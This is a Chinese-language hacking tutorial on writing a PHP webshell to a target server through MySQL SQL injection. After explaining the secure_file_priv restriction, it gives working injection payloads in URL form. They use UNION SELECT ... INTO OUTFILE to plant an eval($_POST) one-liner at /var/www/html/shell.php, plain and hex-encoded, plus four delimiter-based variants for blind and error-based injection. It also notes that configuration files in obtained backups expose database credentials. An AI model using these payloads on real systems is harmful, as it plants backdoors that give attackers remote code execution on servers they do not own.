网站的配置文件中大多含有数据库的连接配置,如数据库用户名、密码等配置信息。当我们获得到了目标网站的备份文件时,首先查看一下网站的配置文件可能会有以外的收获。
通过MySql向服务器写WebShell
需要具有以下几个条件:
存在sql注入漏洞
当前数据库用户具有写入权限
知道目标网站Web物理路径
secure_file_priv 选项支持数据导出
有时候,即使当前数据库用户有了file权限,也不能成功将数据导出至自己想要的目录。因为高版本的MYSQL添加了一个新的特性 secure_file_priv,该选项对mysql导出文件做了限制,输出目录路径应该secure_file_priv一致,否侧文件操作不成功:
mysql> show variables like '%secure_file_priv%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | NULL | +------------------+-------+ 1 row in set (0.00 sec) mysql>该参数用于限制select...into outfile...、load_file()导出到或读取哪个指定的目录。
secure_file_priv 的值为 NULL 时,表示限制mysql不允许导入或导出。
secure_file_priv 的值为为 /tmp 时,表示限制mysql只能在/tmp目录中执行导入导出,其他目录不能执行。
secure_file_priv 没有值即值为空时,表示允许mysql在任何目录导入或导出。
因为 secure_file_priv 参数是只读参数,所以不能使用set global命令直接修改,我们应在mysql的配置文件(my.cnf或my.ini)中进行设置:
开my.cnf 或 my.ini,加入以下语句后重启mysql即可:
[mysqld] secure_file_priv=''查看secure_file_priv修改后的值:
此时便可以在任何目录中导出或导入数据了,这也是我们利用MySql向服务器写WebShell的基础。
利用 Union select 写入WebShell
这是最常见的一种写入方式,union select 配合 select into outfile,将WebShell写入服务器,适用于sql注入点事联合注入的情况下。
index.php/?id=1 union select 1,"<?php @eval($_POST[whoami]);?>",3 into outfile '/var/www/html/shell.php' --+mysql可以解析十六进制,我们也可以对一句话进行十六进制编码,最终效果都是一样的:
index.php/?id=1 union select 1,0x3c3f70687020406576616c28245f504f53545b77686f616d695d293b3f3e,3 into outfile "/var/www/html/shell.php"--+
如下图,成功写入webshell:
利用分隔符写入WebShell
当sql注入点为为盲注或基于报错的注入时,Union select 写入的方式显然是利用不了的,我们可以通过分隔符写入WebShell。
?id=1 into outfile '/var/www/html/shell.php' lines terminated by 0x3c3f70687020406576616c28245f504f53545b77686f616d695d293b3f3e--+ 此选项指定文本文件中行与行之间数据的分隔字符串 或者字符。同样的技巧,一共有四种形式:
?id=1 into outfile '物理路径' lines terminated by (一句话hex编码)# ?id=1 into outfile '物理路径' fields terminated by (一句话hex编码)# ?id=1 into outfile '物理路径' columns terminated by (一句话hex编码)# ?id=1 into outfile '物理路径' lines starting by (一句话hex编码)#